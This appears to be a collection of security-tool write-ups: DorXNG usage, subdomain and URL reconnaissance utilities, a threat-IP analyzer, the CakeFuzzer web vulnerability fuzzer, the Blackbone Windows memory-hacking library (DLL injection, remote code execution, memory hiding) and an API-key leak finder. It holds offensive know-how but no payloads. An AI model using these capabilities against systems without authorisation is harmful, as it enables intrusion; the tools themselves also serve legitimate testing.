    Infinite Main Function Loop Iteration Mode with a Database File Size Limit Set to 10k Entries

    ./DorXNG.py -S server.lst -Q query.lst -c4 -n64 -t0 -L0 -l10

    Merging a Database (One at a Time) into a New Database File

    ./DorXNG.py -d new-database.db -m dorxng.db

    Merge All Database Files in the Current Working Directory into a New Database File

    for i in `ls *.db`; do ./DorXNG.py -d new-database.db -m $i; done

    Query a Database

    ./DorXNG.py -d new-database.db -D 'regex search string'


    Associated-Threat-Analyzer - Detects Malicious IPv4 Addresses And Domain Names Associated With Your Web Application Using Local Malicious Domain And IPv4 Lists

    By: Zion3R


    Associated-Threat-Analyzer detects malicious IPv4 addresses and domain names associated with your web application using local malicious domain and IPv4 lists.


    Installation

    From Git

    git clone https://github.com/OsmanKandemir/associated-threat-analyzer.git
    cd associated-threat-analyzer && pip3 install -r requirements.txt
    python3 analyzer.py -d target-web.com

    From Dockerfile

    You can run this application on a container after build a Dockerfile.

    Warning : If you want to run a Docker container, associated threat analyzer recommends to use your malicious IPs and domains lists, because maintainer may not be update a default malicious IP and domain lists on docker image.
    docker build -t osmankandemir/threatanalyzer .
    docker run osmankandemir/threatanalyzer -d target-web.com

    From DockerHub

    docker pull osmankandemir/threatanalyzer
    docker run osmankandemir/threatanalyzer -d target-web.com

    Usage

    -d DOMAIN , --domain DOMAIN Input Target. --domain target-web1.com
    -t DOMAINSFILE, --DomainsFile Malicious Domains List to Compare. -t SampleMaliciousDomains.txt
    -i IPSFILE, --IPsFile Malicious IPs List to Compare. -i SampleMaliciousIPs.txt
    -o JSON, --json JSON JSON output. --json

    DONE

    • First-level depth scan your domain address.

    TODO list

    • Third-level or the more depth static files scanning for target web application.
    Other linked github project. You can take a look.
    Finds related domains and IPv4 addresses to do threat intelligence after Indicator-Intelligence v1.1.1 collects static files

    https://github.com/OsmanKandemir/indicator-intelligence

    Default Malicious IPs and Domains Sources

    https://github.com/stamparm/blackbook

    https://github.com/stamparm/ipsum

    Development and Contribution

    See; CONTRIBUTING.md



    Xsubfind3R - A CLI Utility To Find Domain'S Known Subdomains From Curated Passive Online Sources

    By: Zion3R


    xsubfind3r is a command-line interface (CLI) utility to find domain's known subdomains from curated passive online sources.


    Features

    • Fetches domains from curated passive sources to maximize results.

    • Supports stdin and stdout for easy integration into workflows.

    • Cross-Platform (Windows, Linux & macOS).

    Installation

    Install release binaries (Without Go Installed)

    Visit the releases page and find the appropriate archive for your operating system and architecture. Download the archive from your browser or copy its URL and retrieve it with wget or curl:

    • ...with wget:

       wget https://github.com/hueristiq/xsubfind3r/releases/download/v<version>/xsubfind3r-<version>-linux-amd64.tar.gz
    • ...or, with curl:

       curl -OL https://github.com/hueristiq/xsubfind3r/releases/download/v<version>/xsubfind3r-<version>-linux-amd64.tar.gz

    ...then, extract the binary:

    tar xf xsubfind3r-<version>-linux-amd64.tar.gz

    TIP: The above steps, download and extract, can be combined into a single step with this onliner

    curl -sL https://github.com/hueristiq/xsubfind3r/releases/download/v<version>/xsubfind3r-<version>-linux-amd64.tar.gz | tar -xzv

    NOTE: On Windows systems, you should be able to double-click the zip archive to extract the xsubfind3r executable.

    ...move the xsubfind3r binary to somewhere in your PATH. For example, on GNU/Linux and OS X systems:

    sudo mv xsubfind3r /usr/local/bin/

    NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xsubfind3r to their PATH.

    Install source (With Go Installed)

    Before you install from source, you need to make sure that Go is installed on your system. You can install Go by following the official instructions for your operating system. For this, we will assume that Go is already installed.

    go install ...

    go install -v github.com/hueristiq/xsubfind3r/cmd/xsubfind3r@latest

    go build ... the development Version

    • Clone the repository

       git clone https://github.com/hueristiq/xsubfind3r.git 
    • Build the utility

       cd xsubfind3r/cmd/xsubfind3r && \
      go build .
    • Move the xsubfind3r binary to somewhere in your PATH. For example, on GNU/Linux and OS X systems:

       sudo mv xsubfind3r /usr/local/bin/

      NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xsubfind3r to their PATH.

    NOTE: While the development version is a good way to take a peek at xsubfind3r's latest features before they get released, be aware that it may have bugs. Officially released versions will generally be more stable.

    Post Installation

    xsubfind3r will work right after installation. However, BeVigil, Chaos, Fullhunt, Github, Intelligence X and Shodan require API keys to work, URLScan supports API key but not required. The API keys are stored in the $HOME/.hueristiq/xsubfind3r/config.yaml file - created upon first run - and uses the YAML format. Multiple API keys can be specified for each of these source from which one of them will be used.

    Example config.yaml:

    version: 0.3.0
    sources:
    - alienvault
    - anubis
    - bevigil
    - chaos
    - commoncrawl
    - crtsh
    - fullhunt
    - github
    - hackertarget
    - intelx
    - shodan
    - urlscan
    - wayback
    keys:
    bevigil:
    - awA5nvpKU3N8ygkZ
    chaos:
    - d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39asdsd54bbc1aabb208c9acfb
    fullhunt:
    - 0d9652ce-516c-4315-b589-9b241ee6dc24
    github:
    - d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39
    - asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39
    intelx:
    - 2.intelx.io:00000000-0000-0000-0000-000000000000
    shodan:
    - AAAAClP1bJJSRMEYJazgwhJKrggRwKA
    urlscan:
    - d4c85d34-e425-446e-d4ab-f5a3412acbe8

    Usage

    To display help message for xsubfind3r use the -h flag:

    xsubfind3r -h

    help message:


    _ __ _ _ _____
    __ _____ _ _| |__ / _(_)_ __ __| |___ / _ __
    \ \/ / __| | | | '_ \| |_| | '_ \ / _` | |_ \| '__|
    > <\__ \ |_| | |_) | _| | | | | (_| |___) | |
    /_/\_\___/\__,_|_.__/|_| |_|_| |_|\__,_|____/|_| v0.3.0

    USAGE:
    xsubfind3r [OPTIONS]

    INPUT:
    -d, --domain string[] target domains
    -l, --list string target domains' list file path

    SOURCES:
    --sources bool list supported sources
    -u, --sources-to-use string[] comma(,) separeted sources to use
    -e, --sources-to-exclude string[] comma(,) separeted sources to exclude

    OPTIMIZATION:
    -t, --threads int number of threads (default: 50)

    OUTPUT:
    --no-color bool disable colored output
    -o, --output string output subdomains' file path
    -O, --output-directory string output subdomains' directory path
    -v, --verbosity string debug, info, warning, error, fatal or silent (default: info)

    CONFIGURATION:
    -c, --configuration string configuration file path (default: ~/.hueristiq/xsubfind3r/config.yaml)

    Contribution

    Issues and Pull Requests are welcome! Check out the contribution guidelines.

    Licensing

    This utility is distributed under the MIT license.



    Xcrawl3R - A CLI Utility To Recursively Crawl Webpages

    By: Zion3R


    xcrawl3r is a command-line interface (CLI) utility to recursively crawl webpages i.e systematically browse webpages' URLs and follow links to discover linked webpages' URLs.


    Features

    • Recursively crawls webpages for URLs.
    • Parses URLs from files (.js, .json, .xml, .csv, .txt & .map).
    • Parses URLs from robots.txt.
    • Parses URLs from sitemaps.
    • Renders pages (including Single Page Applications such as Angular and React).
    • Cross-Platform (Windows, Linux & macOS)

    Installation

    Install release binaries (Without Go Installed)

    Visit the releases page and find the appropriate archive for your operating system and architecture. Download the archive from your browser or copy its URL and retrieve it with wget or curl:

    • ...with wget:

       wget https://github.com/hueristiq/xcrawl3r/releases/download/v<version>/xcrawl3r-<version>-linux-amd64.tar.gz
    • ...or, with curl:

       curl -OL https://github.com/hueristiq/xcrawl3r/releases/download/v<version>/xcrawl3r-<version>-linux-amd64.tar.gz

    ...then, extract the binary:

    tar xf xcrawl3r-<version>-linux-amd64.tar.gz

    TIP: The above steps, download and extract, can be combined into a single step with this onliner

    curl -sL https://github.com/hueristiq/xcrawl3r/releases/download/v<version>/xcrawl3r-<version>-linux-amd64.tar.gz | tar -xzv

    NOTE: On Windows systems, you should be able to double-click the zip archive to extract the xcrawl3r executable.

    ...move the xcrawl3r binary to somewhere in your PATH. For example, on GNU/Linux and OS X systems:

    sudo mv xcrawl3r /usr/local/bin/

    NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xcrawl3r to their PATH.

    Install source (With Go Installed)

    Before you install from source, you need to make sure that Go is installed on your system. You can install Go by following the official instructions for your operating system. For this, we will assume that Go is already installed.

    go install ...

    go install -v github.com/hueristiq/xcrawl3r/cmd/xcrawl3r@latest

    go build ... the development Version

    • Clone the repository

       git clone https://github.com/hueristiq/xcrawl3r.git 
    • Build the utility

       cd xcrawl3r/cmd/xcrawl3r && \
      go build .
    • Move the xcrawl3r binary to somewhere in your PATH. For example, on GNU/Linux and OS X systems:

       sudo mv xcrawl3r /usr/local/bin/

      NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xcrawl3r to their PATH.

    NOTE: While the development version is a good way to take a peek at xcrawl3r's latest features before they get released, be aware that it may have bugs. Officially released versions will generally be more stable.

    Usage

    To display help message for xcrawl3r use the -h flag:

    xcrawl3r -h

    help message:

                                 _ _____      
    __ _____ _ __ __ ___ _| |___ / _ __
    \ \/ / __| '__/ _` \ \ /\ / / | |_ \| '__|
    > < (__| | | (_| |\ V V /| |___) | |
    /_/\_\___|_| \__,_| \_/\_/ |_|____/|_| v0.1.0

    A CLI utility to recursively crawl webpages.

    USAGE:
    xcrawl3r [OPTIONS]

    INPUT:
    -d, --domain string domain to match URLs
    --include-subdomains bool match subdomains' URLs
    -s, --seeds string seed URLs file (use `-` to get from stdin)
    -u, --url string URL to crawl

    CONFIGURATION:
    --depth int maximum depth to crawl (default 3)
    TIP: set it to `0` for infinite recursion
    --headless bool If true the browser will be displayed while crawling.
    -H, --headers string[] custom header to include in requests
    e.g. -H 'Referer: http://example.com/'
    TIP: use multiple flag to set multiple headers
    --proxy string[] Proxy URL (e.g: http://127.0.0.1:8080)
    TIP: use multiple flag to set multiple proxies
    --render bool utilize a headless chrome instance to render pages
    --timeout int time to wait for request in seconds (default: 10)
    --user-agent string User Agent to use (default: web)
    TIP: use `web` for a random web user-agent,
    `mobile` for a random mobile user-agent,
    or you can set your specific user-agent.

    RATE LIMIT:
    -c, --concurrency int number of concurrent fetchers to use (default 10)
    --delay int delay between each request in seconds
    --max-random-delay int maximux extra randomized delay added to `--dalay` (default: 1s)
    -p, --parallelism int number of concurrent URLs to process (default: 10)

    OUTPUT:
    --debug bool enable debug mode (default: false)
    -m, --monochrome bool coloring: no colored output mode
    -o, --output string output file to write found URLs
    -v, --verbosity string debug, info, warning, error, fatal or silent (default: debug)

    Contributing

    Issues and Pull Requests are welcome! Check out the contribution guidelines.

    Licensing

    This utility is distributed under the MIT license.

    Credits



    Xurlfind3R - A CLI Utility To Find Domain'S Known URLs From Curated Passive Online Sources

    By: Zion3R


    xurlfind3r is a command-line interface (CLI) utility to find domain's known URLs from curated passive online sources.


    Features

    Installation

    Install release binaries (Without Go Installed)

    Visit the releases page and find the appropriate archive for your operating system and architecture. Download the archive from your browser or copy its URL and retrieve it with wget or curl:

    • ...with wget:

       wget https://github.com/hueristiq/xurlfind3r/releases/download/v<version>/xurlfind3r-<version>-linux-amd64.tar.gz
    • ...or, with curl:

       curl -OL https://github.com/hueristiq/xurlfind3r/releases/download/v<version>/xurlfind3r-<version>-linux-amd64.tar.gz

    ...then, extract the binary:

    tar xf xurlfind3r-<version>-linux-amd64.tar.gz

    TIP: The above steps, download and extract, can be combined into a single step with this onliner

    curl -sL https://github.com/hueristiq/xurlfind3r/releases/download/v<version>/xurlfind3r-<version>-linux-amd64.tar.gz | tar -xzv

    NOTE: On Windows systems, you should be able to double-click the zip archive to extract the xurlfind3r executable.

    ...move the xurlfind3r binary to somewhere in your PATH. For example, on GNU/Linux and OS X systems:

    sudo mv xurlfind3r /usr/local/bin/

    NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xurlfind3r to their PATH.

    Install source (With Go Installed)

    Before you install from source, you need to make sure that Go is installed on your system. You can install Go by following the official instructions for your operating system. For this, we will assume that Go is already installed.

    go install ...

    go install -v github.com/hueristiq/xurlfind3r/cmd/xurlfind3r@latest

    go build ... the development Version

    • Clone the repository

       git clone https://github.com/hueristiq/xurlfind3r.git 
    • Build the utility

       cd xurlfind3r/cmd/xurlfind3r && \
      go build .
    • Move the xurlfind3r binary to somewhere in your PATH. For example, on GNU/Linux and OS X systems:

       sudo mv xurlfind3r /usr/local/bin/

      NOTE: Windows users can follow How to: Add Tool Locations to the PATH Environment Variable in order to add xurlfind3r to their PATH.

    NOTE: While the development version is a good way to take a peek at xurlfind3r's latest features before they get released, be aware that it may have bugs. Officially released versions will generally be more stable.

    Post Installation

    xurlfind3r will work right after installation. However, BeVigil, Github and Intelligence X require API keys to work, URLScan supports API key but not required. The API keys are stored in the $HOME/.hueristiq/xurlfind3r/config.yaml file - created upon first run - and uses the YAML format. Multiple API keys can be specified for each of these source from which one of them will be used.

    Example config.yaml:

    version: 0.2.0
    sources:
    - bevigil
    - commoncrawl
    - github
    - intelx
    - otx
    - urlscan
    - wayback
    keys:
    bevigil:
    - awA5nvpKU3N8ygkZ
    github:
    - d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39
    - asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39
    intelx:
    - 2.intelx.io:00000000-0000-0000-0000-000000000000
    urlscan:
    - d4c85d34-e425-446e-d4ab-f5a3412acbe8

    Usage

    To display help message for xurlfind3r use the -h flag:

    xurlfind3r -h

    help message:

                     _  __ _           _ _____      
    __ ___ _ _ __| |/ _(_)_ __ __| |___ / _ __
    \ \/ / | | | '__| | |_| | '_ \ / _` | |_ \| '__|
    > <| |_| | | | | _| | | | | (_| |___) | |
    /_/\_\\__,_|_| |_|_| |_|_| |_|\__,_|____/|_| v0.2.0

    USAGE:
    xurlfind3r [OPTIONS]

    TARGET:
    -d, --domain string (sub)domain to match URLs

    SCOPE:
    --include-subdomains bool match subdomain's URLs

    SOURCES:
    -s, --sources bool list sources
    -u, --use-sources string sources to use (default: bevigil,commoncrawl,github,intelx,otx,urlscan,wayback)
    --skip-wayback-robots bool with wayback, skip parsing robots.txt snapshots
    --skip-wayback-source bool with wayback , skip parsing source code snapshots

    FILTER & MATCH:
    -f, --filter string regex to filter URLs
    -m, --match string regex to match URLs

    OUTPUT:
    --no-color bool no color mode
    -o, --output string output URLs file path
    -v, --verbosity string debug, info, warning, error, fatal or silent (default: info)

    CONFIGURATION:
    -c, --configuration string configuration file path (default: ~/.hueristiq/xurlfind3r/config.yaml)

    Examples

    Basic

    xurlfind3r -d hackerone.com --include-subdomains

    Filter Regex

    # filter images
    xurlfind3r -d hackerone.com --include-subdomains -f '`^https?://[^/]*?/.*\.(jpg|jpeg|png|gif|bmp)(\?[^\s]*)?$`'

    Match Regex

    # match js URLs
    xurlfind3r -d hackerone.com --include-subdomains -m '^https?://[^/]*?/.*\.js(\?[^\s]*)?$'

    Contributing

    Issues and Pull Requests are welcome! Check out the contribution guidelines.

    Licensing

    This utility is distributed under the MIT license.



    CakeFuzzer - Automatically And Continuously Discover Vulnerabilities In Web Applications Created Based On Specific Frameworks

    By: Zion3R


    Cake Fuzzer is a project that is meant to help automatically and continuously discover vulnerabilities in web applications created based on specific frameworks with very limited false positives. Currently it is implemented to support the Cake PHP framework.

    If you would like to learn more about the research process check out this article series: CakePHP Application Cybersecurity Research


    Project goals

    Typical approaches to discovering vulnerabilities using automated tools in web applications are:

    • Static Application Security Testing (SAST) – Method that involves a scanner detecting vulnerabilities based on the source code without running the application
    • Dynamic Application Security Testing (DAST) – Method that incorporates a vulnerability scanner that attacks the running application and identifies the vulnerabilities based on the application responses

    Both methods have disadvantages. SAST results in a high percentage of false positives – findings that are either not vulnerabilities or not exploitable vulnerabilities. DAST results in fewer false positives but discovers fewer vulnerabilities due to the limited information. It also requires some knowledge about the application and a security background of a person who runs a scan. This often comes with a custom scan configuration per application to work properly.

    The Cake Fuzzer project is meant to combine the advantages of both approaches and eliminate the above-mentioned disadvantages. This approach is called Interactive Application Security Testing (IAST).

    The goals of the project are:

    • Create an automated process of discovering vulnerabilities in applications based on the CakePHP Framework
    • No application knowledge requirement or pre-configuration of the web application
    • Result with minimal or close to 0 amount of false positives
    • Require minimal security knowledge to run the scanner

    Note: Some classes of vulnerabilities are not the target of the Cake Fuzzer, therefore Cake Fuzzer will not be able to detect them. Examples of those classes are business logic vulnerabilities and access control issues.

    Architecture

    Overview

    Drawio: Cake Fuzzer Architecture

    Cake Fuzzer consists of 3 main (fairly independent) servers that in total allow for dynamic vulnerability testing of CakePHP allications.

    • AttackQueue - Scheduling and execution of attack scenarios.
    • Monitors - Monitoring of given entities (executor outputs / file contents / processes / errors ).
    • Registry - Storage and classification of found vulnerabilities. They run independently. AttackQueue can add new scanners to monitors, and Monitors can schedule new attacks (eg based on found vulnerability to further attack application).

    Other components include:

    • Fuzzer - defines and schedules attacks to AttackQueue (serves as entry)
    • Configuration - sets up application dependent info (eg. path to CakePHP application)
    • Instrumentation - based on configuration defines changes to the application / os to prepare the ground for attacks.

    Approach

    Cake Fuzzer is based on the concept of Interactive Application Security Testing (IAST). It contains a predefined set of attacks that are randomly modified before the execution. Cake Fuzzer has the knowledge of the application internals thanks to the Cake PHP framework therefore the attacks will be launched on all possible entry points of the application.

    During the attack, the Cake Fuzzer monitors various aspects of the application and the underlying system such as:

    • network connection,
    • file system,
    • application response,
    • error logs.

    These sources of information allow Cake Fuzzer to identify more vulnerabilities and report them with higher certainty.

    Requirements

    Development environment using MISP on VMWare virtual machine

    The following section describes steps to setup a Cake Fuzzer development environment where the target is outdated MISP v2.4.146 that is vulnerable to CVE-2021-41326.

    Requirements

    • VMWare Workstation (Other virtualization platform can be used as long as they support sharing/mounting directories between host and guest OS)

    Steps

    Run the following commands on your host operating system to download an outdated MISP VM:

    cd ~/Downloads # Or wherever you want to store the MISP VM
    wget https://vm.misp-project.org/MISP_v2.4.146@0c25b72/MISP_v2.4.146@0c25b72-VMware.zip -O MISP.zip
    unzip MISP.zip
    rm MISP.zip
    mv VMware/ MISP-2.4.146

    Conduct the following actions in VMWare GUI to prepare sharing Cake Fuzzer files between your host OS and MISP:

    1. Open virtual machine in VMWare and go to > Settings > Options > Shared Folders > Add.
    2. Mount directory where you keep Cake Fuzzer on your host OS and name it cake_fuzzer on the VM.
    3. Start the VM.
    4. Note the IP address displayed in the VMWare window after MISP fully boots up.

    Run the following commands on your host OS (replace MISP_IP_ADDRESS with previously noted IP address):

    ssh-copy-id misp@MISP_IP_ADDRESS
    ssh misp@MISP_IP_ADDRESS

    Once you SSH into the MISP run the following commands (in MISP terminal) to finish setup of sharing Cake Fuzzer files between host OS and MISP:

    instrumentation (one of the patches) sudo vmhgfs-fuse .host:/cake_fuzzer /cake_fuzzer -o allow_other -o uid=1000 ls -l /cake_fuzzer # If everything went fine you should see content of the Cake Fuzzer directory from your host OS. Any changes on your host OS will be reflected inside the VM and vice-versa." dir="auto">
    sudo apt update
    sudo apt-get -y install open-vm-tools open-vm-tools-desktop
    sudo apt-get -y install build-essential module-assistant linux-headers-virtual linux-image-virtual && sudo dpkg-reconfigure open-vm-tools
    sudo mkdir /cake_fuzzer # Note: This path is fixed as it's hardcoded in the instrumentation (one of the patches)
    sudo vmhgfs-fuse .host:/cake_fuzzer /cake_fuzzer -o allow_other -o uid=1000
    ls -l /cake_fuzzer # If everything went fine you should see content of the Cake Fuzzer directory from your host OS. Any changes on your host OS will be reflected inside the VM and vice-versa.

    Prepare MISP for simple testing (in MISP terminal):

    CAKE=/var/www/MISP/app/Console/cake
    SUDO='sudo -H -u www-data'
    $CAKE userInit -q
    $SUDO $CAKE Admin setSetting "Security.password_policy_length" 1
    $SUDO $CAKE Admin setSetting "Security.password_policy_complexity" '/.*/'
    $SUDO $CAKE Password admin@admin.test admin --override_password_change

    Finally instal Cake Fuzzer dependencies and prepare the venv (in MISP terminal):

    source /cake_fuzzer/precheck.sh

    Contribution to Vulnerability Database

    Cake Fuzzer scans for vulnerabilities that inside of /cake_fuzzer/strategies folder.

    To add a new attack we need to add a new new-attack.json file to strategies folder. Each vulnerability contains 2 major fileds:Scenarios and Scanners. Scenarios where attack payloads base forms stored. Scanners in the other hand detecting regex or pharases for response, stout, sterr, logs, and results.

    Creating payload for Scenarios

    To create a payload first you need to have the understanding of the vulnerability and how to detect it with as few payloads as possible.

    • While constructing the scenario you should think of as most generic payload as possible. However, the more generic payload, the more chances are that it will produce false-positives.

    • It is preferable to us a canary value such as__cakefuzzer__new-attack_Β§CAKEFUZZER_PAYLOAD_GUIDΒ§__ in your scenarios. Canary value contains a fixed string (for example: __cakefuzzer__new-attack_) and a dynamic identifier that will be changed dynamically by the fuzzer (GUID part Β§CAKEFUZZER_PAYLOAD_GUIDΒ§). First canary part is used to ensure that payload is detected by Scanners. Second canary part, the GUID is translated to pseudo-random value on every execution of your payload. So whenever your payload will be injected into the a parameter used by the application, the canary will be changed to something like this: __cakefuzzer__new-attack_8383938__, where the 8383938 is unique across all other attacks.

    Detecting and generating Scanners

    To create a scanner, first you need to understand how may the application behave when the vulnerability is triggered. There are few scanner types that you can use such as response, sterr, logs, files, and processes. Each scanner serves a different purpose.

    For example when you building a scanner for an XSS, you will look for the indication of the vulnerability in the HTML response of the application. You can use ResultOutputScanner scanner to look for canary value and payload. In other hand SQL Injection vulnerabilities could be detected via error logs. For that purpose you can use LogFilesContentsScanner and ResultErrorsScanner.

    • One of the important points of creating a scanner is finding a regular expression or a pharase that does not catch false-positive values. If you want to contribute a new vulnerability, you should ensure that there is no false-positive by using the new vulnerability in scans.
    • Last attribute of these Scanner regular expressions is generating an efficent regex. Avoid using regex that match all cases .* or .+. They are very time consuming and drasticly increase the time required to finish the entire scan.

    Efficiency

    As mentioned before efficiency is important part of the vulnerabilities. Both Scenarios and Scanners should include as few elements as possible. This is because Cake Fuzzer executes every single scenario in all possible detected paths multiple times. On the other hand, all responses, new log entries, etc. are constantly checked by the Scanners. There should be a lot of parameters, paths, and end-points detected and therefore using more payload or Scanner affects the efficiency quite a lot.

    Removing Specific Vulnerability

    If do not want to scan a specific vulnerability class, remove specified json file from the strategies folder, clean the database and run the fuzzer again.

    For example if you do not want to scan your applicaiton for SQL Injection vulnerabilities, do the following steps:

    First of all remove already prepared attack scenarios. To achive this delete all files inside of the /cake_fuzzer/databases folder:

    rm  /cake_fuzzer/databases/*

    After that remove the sqlinj.json file from the /cake_fuzzer/strategies

    rm /cake_fuzzer/strategies/sqlinj.json

    Finally re-run the fuzzer and all cake_fuzzer running proccess without any SQL Injection attack executed.

    PoC Usage

    Installation

    Clone respository

    git clone https://github.com/Zigrin-Security/CakeFuzzer /cake_fuzzer

    Warning Cake Fuzzer won't work properly if it's under different path than /cake_fuzzer. Keep in mind that it has to be placed under the root directory of the file system, next /root, /tmp, and so on.

    Change directory to respository

    cd /cake_fuzzer

    Venv

    Enter virtual environment if you are not already in:

    source /cake_fuzzer/precheck.sh

    OR

    source venv/bin/activate

    Configuration

    cp config/config.example.ini config/config.ini

    Configure config/config.ini:

    WEBROOT_DIR="/var/www/html"         # Path to the tested applications `webroot` directory
    CONCURRENT_QUEUES=5 # [Optional] Number of attacks executed concurretnly at once
    ONLY_PATHS_WITH_PREFIX="/" # [Optional] Fuzzer will generates only attacks for attacks starting with this prefix
    EXCLUDE_PATHS="" # [Optional] Fuzzer will exlude from scanning all paths that match this regular expression. If it's empty, all paths will be processed
    PAYLOAD_GUID_PHRASE="§CAKEFUZZER_PAYLOAD_GUID§" # [Optional] Internal keyword that is substituted right before attack with unique payload id
    INSTRUMENTATION_INI="config/instrumentation_cake4.ini" # [Optional] Path to custom instrumentations of the application.

    Execution

    Start component processes

    Warning During the Cake Fuzzer scan, multiple functionalities of your application will be invoked in uncontrolled manner multiple times. This may result issuing connections to external services your application is connected to, and pulling or pushing data from/to it. It is highly recommended to run Cake Fuzzer in isolated controlled environment without access to sensitive external services.

    Note Cake Fuzzer bypass blackholing, CSRF protections, and authorization. It sends all attacks with privileges of a first user in the database. It is recommended that this user has the highest permissions.

    The application consists of several components.

    Warning All cake_fuzzer commands have to be executed as root.

    Before starting the fuzzer make sure your target application is fully instrumented:

    python cake_fuzzer.py instrument check

    If there are some unapplied changes apply them with:

    python cake_fuzzer.py instrument apply

    To run cake fuzzer do the following (It's recommended to use at least 3 separate terminal):

    # First Terminal
    python cake_fuzzer.py run fuzzer # Generates attacks, adds them to the QUEUE and registers new SCANNERS (then exits)
    python cake_fuzzer.py run periodic_monitors # Responsible for monitoring (use CTRL+C to stop & exit at the end of the scan)

    # Second terminal
    python cake_fuzzer.py run iteration_monitors # Responsible for monitoring (use CTRL+C to stop & exit at the end of the scan)

    # Third terminal
    python cake_fuzzer.py run attack_queue # Starts the ATTACK QUEUE (use CTRL+C to stop & exit at the end of the scan)

    # Once all attacks are executed
    python cake_fuzzer.py run registry # Generates `results.json` based on found vulnerabilities

    Note: There is currently a bug that can change the owner of logs (or any other dynamically changed filies of the target web app). This may cause errors when normally using the web application or even false-negatives on future Cake Fuzzer executions. For MISP we recommend running the following after every execution of the fuzzer:

    sudo chown -R www-data:www-data /var/www/MISP/app/tmp/logs/

    Once your scan finishes revert the instrumentation:

    python cake_fuzzer.py instrument revert

    To Run Again

    To run cake fuzzer again, do the following:

    Delete Applications Logs (as an example to this, MISP logs stored /var/www/MISP/app/tmp/logs)

    rm  /var/www/MISP/app/tmp/logs/*

    Delete All Files Inside of /cake_fuzzer/databases folder

    rm  /cake_fuzzer/databases/*

    Delete cake_fuzzer/results.jsonfile (Firstly do not forget to save or examine previous scan resulst)

    rm  /cake_fuzzer/results.json

    Finally follow previous running proccess again with 3 terminals

    FAQ / Troubleshooting

    Attack Queue seems like doing nothing

    Attack queue marks executed attacks in the database as 'executed' so to run whole suite again you need to remove the database and add attacks again.

    Make sure to kill monitors and attack queues before removing the database.

    rm database.db*
    python cake_fuzzer.py run fuzzer
    python cake_fuzzer.py run attack_queue

    Target app does not save logs to log files

    This is likely due to the fact that the previous log files were overwritten by root. Cake Fuzzer operates as root so new log files will be created with the root as the owner. Remove them:

    chmod -R a+w /var/www/MISP/app/tmp/logs/*

    No files in /cake_fuzzer dir of a VM after a reboot

    If you use VM with sharing cake fuzzer with your host machine, make sure that the host directory is properly attached to the guest VM:

    sudo vmhgfs-fuse .host:/cake_fuzzer /cake_fuzzer -o allow_other -o uid=1000

    Target app crashes after running Cake Fuzzer

    Cake Fuzzer has to be located under the root directory of the machine and the base directory name should be cake_fuzzer specificaly.

    mv CakeFuzzer/ /cake_fuzzer

    "Patch" errors while runing instrument apply

    Instrumentation proccess is a part of Cake Fuzzer execution flow. When you run instrument apply followed by instrument check, both of these commands should result in the same number of changes.

    If you get any "patch" error you could apply patches manually and delete problematic patch file. Patches are located under the /cake_fuzzer/cakefuzzer/instrumentation/pathces directory.

    Dependency errors

    While installing or running if you have python dependency error, manuallay install dependencies after switching to virtual environment.

    First switch to the virtual environment

    source venv/bin/activate

    After that you can install dependecies with pip3.

    pip3 install -r requriments.txt

    Credits

    Inspiration

    This project was inspired by:

    Commision

    This project was commissioned by: Cake Fuzzer is a project that is meant to help automatically and continuously discover vulnerabilities in web applications created based on specific frameworks with very limited false positives. (2)

    Initial contributors



    Blackbone - Windows Memory Hacking Library

    By: Zion3R


    Windows memory hacking library

    Features

    • x86 and x64 support

    Process interaction

    • Manage PEB32/PEB64
    • Manage process through WOW64 barrier

    Process Memory

    • Allocate and free virtual memory
    • Change memory protection
    • Read/Write virtual memory

    Process modules

    • Enumerate all (32/64 bit) modules loaded. Enumerate modules using Loader list/Section objects/PE headers methods.
    • Get exported function address
    • Get the main module
    • Unlink module from loader lists
    • Inject and eject modules (including pure IL images)
    • Inject 64bit modules into WOW64 processes
    • Manually map native PE images

    Threads

    • Enumerate threads
    • Create and terminate threads. Support for cross-session thread creation.
    • Get thread exit code
    • Get main thread
    • Manage TEB32/TEB64
    • Join threads
    • Suspend and resume threads
    • Set/Remove hardware breakpoints

    Pattern search

    • Search for arbitrary pattern in local or remote process

    Remote code execution

    • Execute functions in remote process
    • Assemble own code and execute it remotely
    • Support for cdecl/stdcall/thiscall/fastcall conventions
    • Support for arguments passed by value, pointer or reference, including structures
    • FPU types are supported
    • Execute code in new thread or any existing one

    Remote hooking

    • Hook functions in remote process using int3 or hardware breakpoints
    • Hook functions upon return

    Manual map features

    • x86 and x64 image support
    • Mapping into any arbitrary unprotected process
    • Section mapping with proper memory protection flags
    • Image relocations (only 2 types supported. I haven't seen a single PE image with some other relocation types)
    • Imports and Delayed imports are resolved
    • Bound import is resolved as a side effect, I think
    • Module exports
    • Loading of forwarded export images
    • Api schema name redirection
    • SxS redirection and isolation
    • Activation context support
    • Dll path resolving similar to native load order
    • TLS callbacks. Only for one thread and only with PROCESS_ATTACH/PROCESS_DETACH reasons.
    • Static TLS
    • Exception handling support (SEH and C++)
    • Adding module to some native loader structures(for basic module api support: GetModuleHandle, GetProcAdress, etc.)
    • Security cookie initialization
    • C++/CLI images are supported
    • Image unloading
    • Increase reference counter for import libraries in case of manual import mapping
    • Cyclic dependencies are handled properly

    Driver features

    • Allocate/free/protect user memory
    • Read/write user and kernel memory
    • Disable permanent DEP for WOW64 processes
    • Change process protection flag
    • Change handle access rights
    • Remap process memory
    • Hiding allocated user-mode memory
    • User-mode dll injection and manual mapping
    • Manual mapping of drivers

    Requirements

    • Visual Studio 2017 15.7 or higher
    • Windows SDK 10.0.17134 or higher
    • WDK 10.0.17134 or higher (driver only)
    • VC++ 2017 Libs for Spectre (x86 and x64)
    • Visual C++ ATL (x86/x64) with Spectre Mitigations


    Mantra - A Tool Used To Hunt Down API Key Leaks In JS Files And Pages

    By: Zion3R


    The tool in question was created in Go and its main objective is to search for API keys in JavaScript files and HTML pages.

    It works by checking the source code of web pages and script files for strings that are identical or similar to API keys. These keys are often used for authentication to online services such as third-party APIs and are confidential and should not be shared publicly.

